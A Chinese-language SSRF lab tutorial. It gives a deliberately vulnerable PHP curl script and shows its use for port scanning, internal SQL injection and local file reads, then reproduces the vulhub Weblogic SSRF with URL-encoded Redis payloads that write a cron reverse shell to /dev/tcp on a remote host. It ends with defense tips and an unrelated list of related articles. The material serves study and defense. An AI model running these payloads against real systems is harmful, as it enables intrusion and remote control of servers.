SSRF漏洞实战

文章目录

    • SSRF概述
    • SSRF原理
    • SSRF 危害
    • PHP复现SSRF
      • 漏洞检测
      • 端口扫描
      • 内网Web应用指纹识别
      • 攻击内网应用
      • 读取本地文件
    • Weblogic SSRF--Getshell复现
      • SSRF攻击Redis原理
      • 漏洞检测
      • 端口扫描
      • 复现翻车,请看官方复现教程
      • 注入HTTP头,利用Redis反弹shell
    • SSRF防御
      • 过滤输入
      • 过滤输出
    • SSRF挖掘

SSRF概述

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击

SSRF原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

SSRF 危害

端口扫描;

内网Web 应用指纹识别;

攻击内网应用;

读取本地文件;

PHP复现SSRF

利用curl 实现,需要PHP 扩展组件curl 支持,如果要使用以下代码复现,记得在当前php文件中创建curled文件夹

ssrf_curl

<?php
if(isset($_REQUEST['url'])){$link = $_REQUEST['url'];$fileName = './curled/'.time().".txt";$curlObj = curl_init($link);$fp = fopen($fileName,'w');curl_setopt($curlObj,CURLOPT_FILE,$fp);curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;
}else{echo "?url=[url]";
}
?>

漏洞检测

http://localhost/ssrf/ssrf_curl.php?url=http://yuanboss.qz9hr6.dnslog.cn

image-20230904160926069

image-20230904160913082

经过DNSLog回显,可以知道此处存在SSRF漏洞

端口扫描

http://localhost/ssrf/ssrf_curl.php?url=http://localhost:3306

image-20230904161050240

内网Web应用指纹识别

有些应用是部署在内网的

<Directory "G:\SOFT\netSecurity\soft\phpStudy_x64_8.1.1.3\phpstudy\WWW\phpMyAdmin">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
</Directory>
http://localhost/ssrf/ssrf_curl.php?url=http://127.0.0.1/phpmyadmin4.8.5/readme

image-20230904162747848

攻击内网应用

内网安全通常都很薄弱。

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

在http服务的配置文件中,我们可以进行如下配置,表示禁用所有主机访问cms目录,然后只允许127.0.0.1访问cms,这样就可以营造一个只允许内网访问的环境。

<Directory "c:\www\cms">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
</Directory>

我们利用ssrf_curl.php的SSRF漏洞,攻击内网的cms网站,实现sql注入。

http://localhost/ssrf/ssrf_curl.php?url=http://127.0.0.1/cms/show.php?id=-33/*yuan*/union/*boss*/select/*yuanboss*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_users

解释:由于我们是利用目标服务器去进行sql注入的,所以执行sql命令的时候命令中不允许出现空格,如果出现空格了,我们注入的sql语句就不属于http://127.0.0.1/cms/show.php?的参数值了,而是属于我们本地的,因此目标服务器就无法使用我们的sql注入语句进行执行。所以我们需要用sql语法中的/**/这个注释语法代替sql中的空格。

image-20230904161553046

如图可知,我们通过联合查询获得了相关信息。为什么说这是是攻击内网应用呢,因为有的目标服务器的网站设置了白名单,只允许内网主机进行访问,所以我们无法进行漏洞利用,这个时候如果发现一个我们可以访问的网站存在SSRF漏洞,我们就可以利用这个网站,把他当做肉鸡,让他访问只允许内网访问的网站,甚至让他帮我们进行漏洞利用。

读取本地文件

http://localhost/ssrf/ssrf_curl.php?url=file:///c:/windows/system32/drivers/etc/hosts

image-20230904161131776

Weblogic SSRF–Getshell复现

vulhub靶场地址:Weblogic SSRF漏洞

SSRF攻击Redis原理

原理:借助redis的协议编写tcp stream,从而完成对redis的命令执行。
redis协议特别简单,协议格式如下

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

所以编写出tcp stream就非常简单,把需要执行的命令按照上面的格式拼凑出来就行

testset 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
saveaaa

因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码(“GET”请求,可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令的)
因此:
编码后构造payload

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后在自己的公网机上nc监听2333端口

nc -lvp 2333 (或nc -l 2333)

然后发送请求即可查看到反弹的shell

漏洞检测

image-20230904200511230

image-20230904142742050

经过DNSLog回显,可以知道此处存在SSRF漏洞

端口扫描

由于返回信息的不同,根据返回信息,可以确定端口是否开放

image-20230904152832627

复现翻车,请看官方复现教程

这里就根据vulhub教程讲述思路了,因为这个靶场比较复杂,导致docker启动靶场失败,所以就没必要继续钻下去了,我们只需要学会思路即可,下面的复现步骤大多数是参考vulhub官网的复现步骤,也可以直接到这个链接复现:vulhub靶场地址:Weblogic SSRF漏洞

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:

img

发送三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

img

成功反弹:

img

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

SSRF防御

过滤输入

限制协议,仅允许 http 或 https 协议;

限制IP,避免应用被用来获取内网数据,攻击内网;

限制端口,限制请求端口为常用端口。

过滤输出

过滤返回信息,只要不符合要求的,全部过滤;

统一错误信息,让攻击无法对内网信息进行判断。

SSRF挖掘

image-20230904170426511

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/72592.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20230908java面经整理

1.cpp和java的区别 cpp可以多重继承&#xff0c;对表java中的实现多个接口 cpp支持运算符重载、goto、默认函数参数 cpp自动强转&#xff0c;导致不安全&#xff1b;java必须显式强转 java提供垃圾回收机制&#xff0c;自动管理内存分配&#xff0c;当gc要释放无用对象时调用f…

算法训练第五十八天

总结&#xff1a;今日事单调栈的开端&#xff0c;还是挺巧妙的。 496. 下一个更大元素 I - 力扣&#xff08;LeetCode&#xff09; 代码&#xff1a; class Solution { public:vector<int> nextGreaterElement(vector<int>& nums1, vector<int>& …

现代C++中的从头开始深度学习:【6/8】成本函数

现代C中的从头开始深度学习&#xff1a;成本函数 一、说明 在机器学习中&#xff0c;我们通常将问题建模为函数。因此&#xff0c;我们的大部分工作都包括寻找使用已知模型近似函数的方法。在这种情况下&#xff0c;成本函数起着核心作用。 这个故事是我们之前关于卷积的讨论的…

OC和Swift混编,导入头文件‘xxx-Swift.h‘ file not found

在OC的项目里加入Swift代码&#xff0c;创建完桥接文件后&#xff0c;需要倒入Swift头文件&#xff0c;头文件的格式为“项目名-Swift.h”。 如下图&#xff0c;我在Xcode上看到我的项目名为YichangPark&#xff0c;导入 #import "YiChangPark-Swift.h" 之后提示 “Y…

喜报 | 再度中标南网项目!AR 开启电力远程运维新智慧

近日&#xff0c;中国南方电网官网发布《2023年南方电网数字平台科技 (广东)有限公司物资品控远程协助软件采购项目中标公告》&#xff0c;ALVA Systems 凭借 ALVA Rainbow 创新应用竞得此标。 随着相关技术的逐步成熟&#xff0c;基础问题远程化解决已经在工业领域广泛应用。 …

NLP(1)--NLP基础与自注意力机制

目录 一、词向量 1、概述 2、向量表示 二、词向量离散表示 1、one-hot 2、Bag of words 3、TF-IDF表示 4、Bi-gram和N-gram 三、词向量分布式表示 1、Skip-Gram表示 2、CBOW表示 四、RNN 五、Seq2Seq 六、自注意力机制 1、注意力机制和自注意力机制 2、单个输出…

9.4黄金行情是否反转?今日多空如何布局?

近期有哪些消息面影响黄金走势&#xff1f;今日黄金多空该如何研判&#xff1f; ​黄金消息面解析&#xff1a;周一(9月4日)亚市盘中&#xff0c;现货黄金震荡走高&#xff0c;延续上周涨势&#xff0c;一度刷新日内高点至1946.16美元/盎司。周三&#xff0c;ISM将发布服务业P…

同旺科技USB to I2C 适配器烧写 Arduino 模块

所需设备&#xff1a; 内附链接 1、同旺科技USB to I2C 适配器 2、Arduino 模块 硬件连接&#xff1a; 用同旺科技USB to I2C 适配器连接芯片的TX、RX、GND; 打开Arduino IDE编辑工具&#xff0c; 点击“上传”按钮&#xff0c;完成程序的编译和烧录&#xff1b;

基于微信小程序的自习室系统设计与实现,可作为毕业设计

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝30W、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 文章目录 1 简介2 技术栈3 需求分析3.1用户需求分析3.1.1 学生用户3.1.3 管理员用户 4 数据库设计4.4.1 E…

【数据结构】树的基础入门

文章目录 什么是树树的常见术语树的表示树的应用 什么是树 相信大家刚学数据结构的时候最先接触的就是顺序表,栈,队列等线性结构. 而树则是一种非线性存储结构,存储的是具有“一对多”关系的数据元素的集合 非线性 体现在它是由n个有限结点(可以是零个结点)组成一个具有层次关…

HarmonyOS/OpenHarmony(Stage模型)应用开发组合手势(二)并行识别

并行识别组合手势对应的GestureMode为Parallel。并行识别组合手势中注册的手势将同时进行识别&#xff0c;直到所有手势识别结束。并行识别手势组合中的手势进行识别时互不影响。 以在一个Column组件上绑定点击手势和双击手势组成的并行识别手势为例&#xff0c;由于单击手势和…

JS 防抖和节流的函数应用

1. 防抖函数 <body><button id"myButton">点老子</button> </body></html><script>function ois(fun, time) {let timeoutId;return (...a) > {clearTimeout(timeoutId)timeoutId setTimeout(() > {fun(...a)}, time)}}…

关于实现 Vue 动态数据显示,比如数字 0 或 1 怎么显示为 男 或 女等等的动态显示实现方法

具体 Vue 代码演示&#xff1a; test.vue 文件演示&#xff1a; <template> <!-- 方法一 --> <div>{{ test.data 0 ? 男 : 女}}</div><!-- 方法二 --> <div>{{ test.data 0 ? 男 : }}{{ test.data 1 ? 女 : }}{{ test.d…

Apinto 网关 V0.14 版本发布,6 大插件更新!

大家好&#xff01; 距离上次更新已经过去一段时间了&#xff0c;这段日子里我们一直在酝酿新的功能&#xff0c;本次的迭代将给大家带来 6 大插件的更新~一起来看看有哪些变化吧&#xff01; 新特性 1. 新增 额外参数v2 插件&#xff0c;支持对转发参数进行加密、拼接等操作…

【软件测试】单元测试、集成测试、系统测试有什么区别?

单元测试、集成测试、系统测试有什么区别 1、粒度不同 集成测试bai粒度居中&#xff0c;单元测试粒度最小&#xff0c;系统du测试粒度最大。 2、测试方式不同 集成测试一般由开发zhi小组采用白盒加黑盒的方式来测试&#xff0c;单元测试一般由开发小组采用白盒方式来测试&a…

qt之模态窗口

概念介绍 模态窗口&#xff1a;当一个窗口设置为模态窗口时&#xff0c;该窗口会阻塞用户对该窗口所属应用程序下其它部分进行操作。 非模态窗口&#xff1a;当一个窗口为非模态时&#xff0c;简单的理解就是可以不操作该窗口而去操作该应用程序下其它窗口对象&#xff0c;而…

Spring中添加打印请求头的拦截器

问题 因为最近这个项目没有调用链监控系统的支持&#xff0c;但是&#xff0c;本地PostMan调试的时候又需要请求头才能正常调试。 思路 喊ChatGPT实现一下能够打印所有请求头的拦截器&#xff0c;然后&#xff0c;集成到已有代码即可。 解决 RequestHeaderInterceptor.jav…

基于Python开发的玛丽大冒险小游戏(源码+可执行程序exe文件+程序配置说明书+程序使用说明书)

一、项目简介 本项目是一套基于Python开发的玛丽冒险小游戏程序&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的Python学习者。 包含&#xff1a;项目源码、项目文档等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xf…

关于ChatGPT的个人的一些观点

问题 1 Q: 你认为ChatGPT是一款非常有用的工具吗&#xff1f; A: 我认为ChatGPT是一款非常有用的工具。它可以帮助人们解决各种问题&#xff0c;包括技术问题、心理问题、生活问题等等。同时&#xff0c;ChatGPT也可以成为人们分享想法和交流的平台&#xff0c;增强人与人之间…

chrome_elf.dll丢失怎么办?修复chrome_elf.dll文件的方法

Chrome是目前最受欢迎的网络浏览器之一&#xff0c;然而有时用户可能会遇到Chrome_elf.dll丢失的问题。该DLL文件是Chrome浏览器的一个重要组成部分&#xff0c;负责启动和管理程序的各种功能。当Chrome_elf.dll丢失时&#xff0c;用户可能无法正常启动Chrome或执行某些功能。本…